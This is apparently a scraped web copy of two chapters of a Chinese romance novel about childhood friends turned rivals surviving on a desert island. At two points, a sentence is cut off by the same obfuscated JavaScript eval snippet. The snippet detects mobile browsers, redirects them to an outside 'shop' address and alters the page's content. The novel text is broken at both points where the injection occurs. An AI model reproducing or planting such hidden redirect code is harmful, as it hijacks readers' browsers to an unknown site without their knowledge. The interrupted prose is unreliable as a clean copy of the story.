《与死对头一起荒岛求生》 3. 流落荒岛(3) 第二日清晨,林间满是潮湿清新的气息。露珠悬挂在巴掌大的叶片上,摇摇欲坠。鸟儿雀儿站在树梢,叽叽喳喳吵闹个不停。 林蓁伸了个懒腰,双手撑地颇为艰难地起床。 躺在不算平坦的坚硬石头上睡了一晚,整个身子就像被人揍了一顿,腰酸背痛。 喉间干渴,肚子也瘪了下去。 槐树上空荡荡的,不知薛岸又去了何处。 林蓁受伤的右脚轻轻踩地,试探着走了几步。该说不说,她的恢复力很强。走起来虽有轻微不适,一瘸一拐的,但已经没有太大影响了。 她嘴巴干燥的起皮,见周围的草叶上满是露珠,忍不住把嘴唇贴上去吮吸。 可吸了好几片叶子,除了嘴唇湿润了些,喉咙仍是跟火烧一般。 地面湿漉漉的,有一串明显的脚印从槐树下一路向外延伸。 林蓁顺着脚印一路走。 约莫半柱香的时间,看到边上灌木丛生着许多鲜红的浆果,一串串挂下来,十分诱人。 她咽了口口水,忍不住摘下来一串闻了闻,几乎没什么味道。 小时候她常常在野外玩耍,休息的时候,就摘一兜子野果,躺在一山坡上一粒一粒往嘴里塞。 野果吃过不少,哪些能吃哪些不能吃她却还是分辨不出来。因为那会都是跟薛岸摘给她的。 现在想想,小时候的薛岸还是很可爱的,跟现在的模样大为不同。 二人第一次见面时,她才六岁,刚刚记事的年纪,薛岸跟他一样的年纪。听爹娘说,还大她两月呢。 那时,神色冰冷的白衣女子一把扯出躲在她身后的小男孩,将他托付给了爹娘,随即转身离开。 小男孩嚎啕大哭,女人却连个眼神都没过他,径直骑上马离开了。 小薛岸长的瘦瘦小小,个子都没她高,胆子还小,她家的两只看门大黄狗一叫,就吓得直哭,连院门都不敢进。 恰逢那会她小妹刚出生,且是未足月就生了的,身子骨极差,打娘胎里就不怎么健康。胳膊细的仿佛一根手指就能折断,连进气出气都很微弱。 林蓁一脸好奇地站在放着小娃娃的篮子边看了一会,那小娃娃就哇哇直哭,哭的快要断气似的。 爹娘将她赶了出去,说小妹病好前她都不允许进屋。两人为此事找了许多大夫郎中,忙的焦头烂额,对她忽视了许多。 林蓁哪是耐得住寂寞的性子,听到有个年纪跟她差不多大的孩子能跟她做伴,自然很开心。 把那两条汪汪直叫唤的大黄狗赶进笼子后,对谁都不爱搭理的小薛岸终于愿意开口跟她讲话了。 自那以后,日日一步一趋的跟在她身后。 她也成日带着薛岸出去疯玩,天刚亮就出门,一直到在外面待到太阳落山才舍得回去。 薛岸那会可听她的话,让他往东绝不往西。 她指挥的也头头是道,结果就是薛岸抓鱼上树样样精通,灵活的像山林里的猴子。她却连哪些野果能吃哪些不能吃都还分不出来。 可自从薛岸离开她家后,过几年再回来时,脾气就完全变了,常常用话刺她不说,眼神还总是阴沉沉的,她看着相当不舒服。 林蓁微微叹了口气,直起身,用手指拨弄了一下浆果。 这么一想,倒是发现这串浆果跟她小时候吃的有些像。肚子已经饿到再走上几步路,就要躺地上动不了了。 她就不信她会这么倒霉。反正不被毒死,她也要渴死饿死了。 林蓁摘下一颗浆果,正准备放进口中。 忽然,一颗小石子从远处飞来,正正打在她手背上。 “啊!” 林蓁痛呼一声,手背麻了一片,手中浆果也随之脱落,直直摔在地上,滚落一地。 薛岸缓步从一颗树后走出。 林蓁揉着手背,不满道:“你打的我的手好痛!” 薛岸也不看她,只冷冷道:“那是南天竹,有毒。我若是晚到一步,你已经死了。再说,我从前不是告诉过你,哪些果子能吃吗?你到底有没有动过脑子?” “那以前不是有你在么!不是你说的,会一直给我摘果子的吗?”突然被凶了一通,林蓁脸色也不好看起来。 她扭过头去,冷哼一声:“明明是你食言,反倒怪起我来了。” 说完,她头也不回地朝前走去,“啪叽”将地上的果子踩的稀烂。 薛岸身形微微一顿,停在原地,看着那抹一瘸一拐的青色身影离开越来越远。 片刻后,他轻叹口气,追了上去。 林中气息清新宜人,可林蓁心中却烦闷不已。 她有气无力的将一颗小石子踢飞后,一屁股坐到路边的小山坡上。坐了一会,又觉得费力,干脆躺平了,闭上眼,任由衣物被清晨的露水打湿。 耳边传来沙沙的脚步声,一直走到她身旁才停下。随即身边的土坡微微塌陷,那人坐了下来。 不用想也知道是谁。 她翻了个身,背对着那人,将袖子盖在脸上。 身边传来轻微响动,有什么东西被搁在她脑袋旁,薛岸淡淡的嗓音从头顶传来:“吃的我放这里,等你腿伤好了,我们就去找离开这里的办法。” 林蓁好半天没说话,直到听到这人起身要走的声音,才转过身,扯住薛岸的衣摆。 “喂!所以你有离开的方法了?” 薛岸停下脚步,转身看着她,幽深的眸子里没有情绪,他淡淡道:“没有。” 林蓁气笑了:“那你还……算了算了,我大人有大量,不跟你计较。我呢……就是想知道,你到底为何要害我至此?我记得我没得罪过你吧。” 薛岸微微一愣:“你这话是何意?” “不是你写信给我,说要带我去苏城安顿的吗?”林蓁一骨碌翻身爬起来,满脸狐疑的看着他,“你现在要翻脸不认账了是吗?” “什么信?”薛岸蹙眉,朝她伸手,“现在在你身上吗,给我看看。” 林蓁摊开双手,“没有,我当时看信,顺手烧了,要是爹娘看到,我那还跑的掉啊。” “况且那就是你的字,我怎么会认不出来?当初还是我教你写字的呢。” 薛岸并未回答,走到一旁,朝着一个方向看了看,陷入了沉思。 林蓁见他不像说假话的样子,也有些搞不清了。她脾气或许不讨人喜欢,但得罪人的事绝对一件也没干过。 莫非是爹娘的仇人?林蓁用手指挠挠唇角,想了半天,也没想明白。 肚子忽然叫了起来,如今太阳已经升到正中。算起来,她已经有整整一天半未进过食,除了昨天吃了个不怎么顶饱的果子。 方才薛岸给她的吃食用芭蕉叶包起来,不过一个巴掌大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17453802|201180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 林蓁打开一看,发现里面是几十颗红艳艳的浆果,看着跟她方才找的没什么区别。 不做他想,林蓁几口吞吃下肚,舔了舔嘴唇,叹了口气,连什么味都没尝出来就没了。 好在现在太阳大,不然吃完这些,就是又冷又饿,心都凉了。 她站起来,拍掉身上沾着的草叶跟泥土,走到薛岸旁边,抬眼去瞧他。 说起来,她其实根本没怎么认真看过薛岸长大后的模样。 五官长开后,一丝稚嫩的气息都无了,眉毛又浓又长,眼睛深黑,唇角弧度锋利,面无表情的时候,看着很凶,身上有种不近人情的气质。 跟小时候的薛岸完全不同,虽然小薛岸也不爱说话,常常看着天空沉默,但被她逗一下,就会红着脸笑出声。 而现在的薛岸,个子高了许多,她得抬着眼看他。整个人都阴沉沉的,那双眼睛里似乎蕴含了许多她看不懂的情绪。 总之,看到这样的人,没有人会自讨没趣跟他聊天谈话的。 而这人,此时脸色苍白,嘴唇干涩起皮,眼圈青黑,眉头紧紧皱着,左手无意识的搭在腹部,微微握拳。 任谁看了,都知道他此时身体并不舒服。 林蓁心中忽然一动,这人不会自己还没吃东西吧! 说起来,她一路当时从海里一路漂流下来,撞伤了腿,这人就算武功再高,也不可能一点事没有。昨晚想来也没怎么休息。 到底是幼时玩伴,多少还是有点情谊在的。 她放软声音,关心道:“你没事吧,要不要先去休息会?” 说着,她伸出手搭在薛岸小臂上,作势要扶他。 “滚开!” 谁知她手刚放上去,就被猛地挥开。 她向后趔趄两步,没站稳,跌到地上。 好在地上有厚厚一层草叶,倒没摔痛。 林蓁坐在地上,拉下脸,冲他吼道:“你有病吧!好端端的,突然你推我做什么?” 薛岸垂着脑袋,看不清神色,只能看见下颚紧紧绷着,显然并不怎么好。 他胸口剧烈起伏了几下,双手握拳放在身侧,微微颤动,一句话没说。 半晌,提步朝远处走去。 “你去哪?”林蓁在他身后问道。 薛岸并不睬她,径自走远了。 林蓁气的胸口痛,脸色涨红,恶狠狠捶了几下地。 好你个薛岸,给我等着! 天空中逐渐聚起乌云,明明方才还晴空万里,现在却说变就变,乌云密布,风吹在脸上,又湿又冷。 想到昨日那种淋了雨的衣裳贴在身上的湿黏感,林蓁就觉得有虫子在身上爬。 她打了个抖,连忙顺着来时路往回走。 到了之后,石壁处空无一人,跟她早晨出去时一模一样。 原以为薛岸会先回来,也不知这人又跑哪去了。 趁着雨还没落下来,林蓁跑到林子里面捡了些细的干柴回来。 路过一处荆棘从时,意外发现旁边有不少干草,被晒过后有股青草与太阳混合的独特气味,令人安心。 林蓁心里一喜。 这可是好东西! 之前睡觉时不用硌着屁股了。 她把这堆干草全部堆在一起,去树下找了根藤蔓将干草捆起来,背在背上,一并带了回去。 4. 流落荒岛(4) 还未走到石壁处,远远的,林蓁就看到薛岸那抹黑色身影。 这人坐在石壁下,重新升起了火,脸庞被火光印的通红,更显眉目深邃。正面无表情地拿着一根细长树枝在火堆里面拨动。 听到动静,他抬头看了过来,下一瞬,就拧起眉头冷声道:“你腿伤还未好全就跑来跑去的,也不怕你这腿彻底废了?” “谁要你管了!你是我爹还是我娘?!”林蓁回呛道。 不过再见到这人衣衫凌乱,苍白的脸上沾了灰,原本顺滑的头发也乱糟糟的翘起来后,她噤了声。 即使再如何强撑着,她也能看出来他的虚弱与狼狈。 视线对上他黑沉沉的眼睛。 林蓁抿抿唇,冷哼一声,终究没再作声,只自顾自把干草背进石壁。 她将干草均匀平铺在里侧,跟火堆隔着些距离,防止被火堆点燃,又将怀里的干柴全部堆到另一侧。 收拾好后,她拍拍手,才坐了下来。 有了干草垫在身下,虽然还是有些扎肉,但比之前好了不是一星半点。 方才免不了还是被淋了些雨,此时整个手都是冰凉的,她伸手放到火堆上方烘烤。 烤了一会火,血色总算重新回到她脸上。 她拍拍脸颊,活动着僵硬的身体。 薛岸此时从火堆里面拨出来一个黑漆漆的巴掌大的东西。 身体温暖起来后,心里也跟着暖洋洋的。方才的不快已被林蓁抛却脑后,她此时心情好到能大赦天下。 见薛岸一直对着那个黑球捣鼓,林蓁忍不住坐到他旁边,看着那东西好奇地问道:“这是何物?” 薛岸换了一个稍粗些的木棍,对着那黑漆漆的东西一阵敲打。 片刻后,他猛地用削尖的树枝一叉,将黑球里面的东西戳出来,递到她眼前。 林蓁也不客气,接过来,努力分辨半晌——似乎是某种贝类,已经被火烤到看不出原本的模样。 薛岸平静道:“吃吧。” 说着,又从火堆里掏出来一个黑球,继续捣鼓。 林蓁:“……” 她试探着用指尖戳了戳这黑乎乎的东西,完全看不出哪里能吃。 薛岸平静地叉起另外一只,面无表情的塞进嘴里,嚼了几下,“咕咚”一声吞进肚子。 吃完后,他又神色自若的继续在火堆里翻动。 林蓁看的叹为观止,她重新将视线转回眼前这坨黑乎乎的东西上,狠下心来,张嘴咬了一口。 ……没咬动,牙还差点被崩飞。 这东西又咸又苦,色香味俱无,吃了会看不见明日的太阳的那种。 “噗…呸呸!”林蓁一口将嘴里的东西吐了出来,那种咸涩的味道还在嘴里久久挥之不去。 她整张脸都皱成一团,将剩下的一半抛了回去。 薛岸皱着眉看她,眼中透露着算不上赞同的眼神,似乎是觉得她过于娇气。 林蓁才不管这么多,她躺到干草上,翻了个身,背对着薛岸说道:“我吃饱了,你自己吃吧。” 说完,闭上眼睛,伴随着耳旁火堆燃烧的“噼啪”声,两眼一闭睡了过去。 她这一点倒是很不错,就是对任何事接受能力都很强,比如现在即使饿着肚子,她也未特别郁闷。 林蓁是被右脚脚踝传来的钝痛疼醒的。 还真让薛岸说准了,她的右脚脚踝发了炎,高高肿了起来。 此时天色已完全暗了下来。雨已经停了,乌云却并未散开。春雨总这样,一下起来就持续好多天。 薛岸坐在角落处,借着火光,正在用一把小刀削木头,削成一根根筷子模样的长条。他旁边还放着两个凿的坑坑洼洼,不甚美观的石碗。 她掀开衣角,看到自己脚踝微微肿了起来。 薛岸此时也看了过去,看到那光洁如玉的脚踝后,微微一顿,很快将目光移开了。 林蓁的脚本就受伤,今天又是跑又是跳的,走了许多路,这会脚踝承受不住,所有病症加在一块反弹回来。 她右脚稍一落地就会产生明显痛意。 之后的三日,只能乖乖待在石壁下,哪也去不了。 除了吃薛岸外出带回来的浆果或者烧相当难吃的贝壳之外,只能睡觉。 白天薛岸去林子里或者海边找吃的,傍晚借着火光做些手工。 薛岸还找了许多绿色的不知名草药,用石头捣碎了,让她敷在腿上。 草药冰冰凉凉,很大程度缓解了痛意。 林蓁是个闲不住的人,如果不是薛岸看她的眼神相当不善,她估计又得上外面跑。 薛岸从外面找来许多藤蔓编篮子,她看着学一会后,也拿过来跟着一起编,等大大小小的做了六、七个篮子后,她的脚伤终于彻底恢复。 只是林蓁虽然脚伤恢复了,气色却没比之前好多少,这些天吃的大部分都是浆果,味道酸酸甜甜的确实挺好吃,可压根就没有油水。 薛岸也并未比她好多少,脸色愈发苍白,眉头紧紧压着,额头上仿佛酝酿着乌云。 一个人,若是吃不好睡不好,脾气就会阴晴不定。 林蓁摇摇头,识趣的没有刺他,两人之间的气氛难得和谐许多。 这日,薛岸直到天黑才返回石壁下,林蓁正在往火堆里加柴火。 薛岸进来的时候,身上带着海风潮湿的气息,脸色难得不错,唇角微微勾起,整张脸都舒展开来,看得林蓁心下都微微放松起来。 薛岸的样貌其实相当不错,武功又高,惩奸除恶也让他在武林中声名鹊起。 若非他常常冷着脸,不近人情,想必有许多女儿家愿意跟他亲近。 林蓁微微叹了口气,不过他这样的脾气,又有哪个姑娘受得了呢。 薛岸见她盯着他出神,眼中透露的情绪明显不是什么好事,脸色顿时沉了下来。 冷冷说了句在岸边发现了船只残骸,就回到他一贯坐的地方低头捣鼓。 林蓁听了这个好消息,很是高兴了一番,完全没有因为他的态度而生气。 要知道,船上可是有不少船员们囤积的干粮。虽然味道比不上她平时爹娘烧的那些,但比起她现在吃的,肯定绰绰有余。 第二日一大早,林蓁就被麻雀跟灰喜鹊“吱吱喳喳”的叫声吵醒。 她并未像往常一样对着那群吵闹不已的鸟儿扔石子驱赶,呆呆的爬起来,盯着石壁外面一动不动。 今日天光晴朗,日光洒落在盛着露珠的草叶上,反射出细碎微光。 薛岸已经醒了,拿了一根长树枝做剑。 点,挑,刺。 一遍遍不厌烦地练习。身姿轻盈,动作凌厉,树枝在空中不断发出的“哔卟”的破空声。 林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17453803|201180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蓁盯着他看了一阵,才伸手揉了揉眼睛,慢悠悠从厚实的干草上爬起来。 薛岸不知从哪打来了清泉水,放在石壁角落清理干净的凹槽处,量不多,只够她粗略洗漱一番。 冰凉沁骨的泉水扑在脸上,林蓁彻底清醒过来。 这几日连外出都不曾有过,更别说洗漱身子,就连衣裳味道都快发酸了,她穿着也难受。 也是时候找个时间好好梳洗一番。 等她收拾好后,薛岸早已收起树枝,抱臂斜靠在一株槐树下,左腿微微曲起,眼睛半阖着休息。 见她出来,说道:“你好了?走吧。” 说完,一抬下巴,径自抬步朝前走去。 林蓁不计较他的冷漠,颇兴冲冲地跟在他身后。 “喂!薛岸,你的水在哪儿打的?等会也带我去呗。” 一路走来,林蓁并未看见哪里有山泉水的影子。 “往西面走五里,你要去就自己去,我在地上做了记号。” “哦。” 过了一会。 林蓁停下来,弯腰锤着因长时间不动而僵硬的小腿:“还没到吗?我腿酸,快要走不动了。” 薛岸听到动静,回头蹙眉道:“你若是走不了,就回去待着。” “那可不行,我就是说着玩的。”林蓁直起身,咬咬牙,小跑着跟了上去。 这些日子一直在受薛岸接济,正所谓拿人手短吃人嘴软,她也从不说什么。 只不过这种日子她实在不爱过,说到底,比不上她自给自足来的好。 因此她腿伤一好,就迫不及待的让薛岸带上她一起去。 又走了半刻,远远看见远处湛蓝的海面,腥咸的海风吹来,林蓁不禁沉下肩膀,深深吸了好几口气。 方才的疲惫瞬间烟消云散。 此刻阳光正好,轻柔的照在身上,暖洋洋的,即使晒久了也不会发烫。 她一路小跑到海滩边,青色衣诀翻飞,两手撑在额上往远处看。 隐约能看到远处有深色船只的影子。 “是那里吧!”林蓁指着那处地方肯定道,回头去看薛岸,恰好捕捉到薛岸唇边那瞬间一闪而过的笑意。 锋利的五官在那一刻似冰雪消融般变得温和轻柔,黑色眼眸中闪烁着细碎微光,黑衣墨发随风飘荡。 他皮肤本就苍白,肩膀宽阔,更显得被蹀躞带紧紧系着的腰身纤瘦。二者一衬,倒显出些病态的美感来。 林蓁微微愣住。 只一霎,这人见她回过头来,就立刻收起笑意,板起脸来。 林蓁:“……”至于这么不喜她吗? 见他点头,林蓁亦不再多说,加快步伐朝船只残骸走去。 薛岸看着她沉寂下来的背影,神色微凝。 片刻后,他似了然一般,放慢脚步。 他明白,这是不想跟他同路的意思。 薄唇紧抿,方才心中那抹轻快随着那抹青色身影远去,也跟着一起远去了。 他自嘲般冷笑一声,沉默不语地朝前走去。 等到走近,林蓁心中的微弱希望又跟泡沫一样幻灭了。 她当时泡在海面上看的时候,这艘船还处在一种经过修缮,能够重新使用的状态。 现在一看,整个船身都破损了,只余下一半的船身搁浅在沙滩上,另外一半不知飘去了何处。